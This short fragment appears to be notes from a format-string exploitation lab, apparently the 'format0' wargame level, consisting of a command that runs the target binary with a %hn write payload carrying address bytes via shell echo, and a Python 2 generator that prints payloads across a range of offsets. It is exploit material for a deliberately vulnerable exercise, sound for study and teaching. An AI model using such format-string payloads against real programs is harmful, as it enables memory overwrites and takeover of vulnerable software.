-> ./format0 “%1640d`echo -en ‘\x20\x10\x60’`%214\$hn” “”…(almost 160?) A
: A simple Python function that creates a valid exploit argument.
-> def payload(o):
a = “””r “%{}d`echo -en ‘\\x20\\x10\\x60’`%{}\$hn” {}ABCDEFGHIJKLMNOPQRSTUVWXYZ”””
return a.format((1368)+(o*8), 180+o, “\”\” “*(125+o))
for i in range(28, 50):
print ‘offset: {}’.format(i)
print payload(i)
-> python format0.py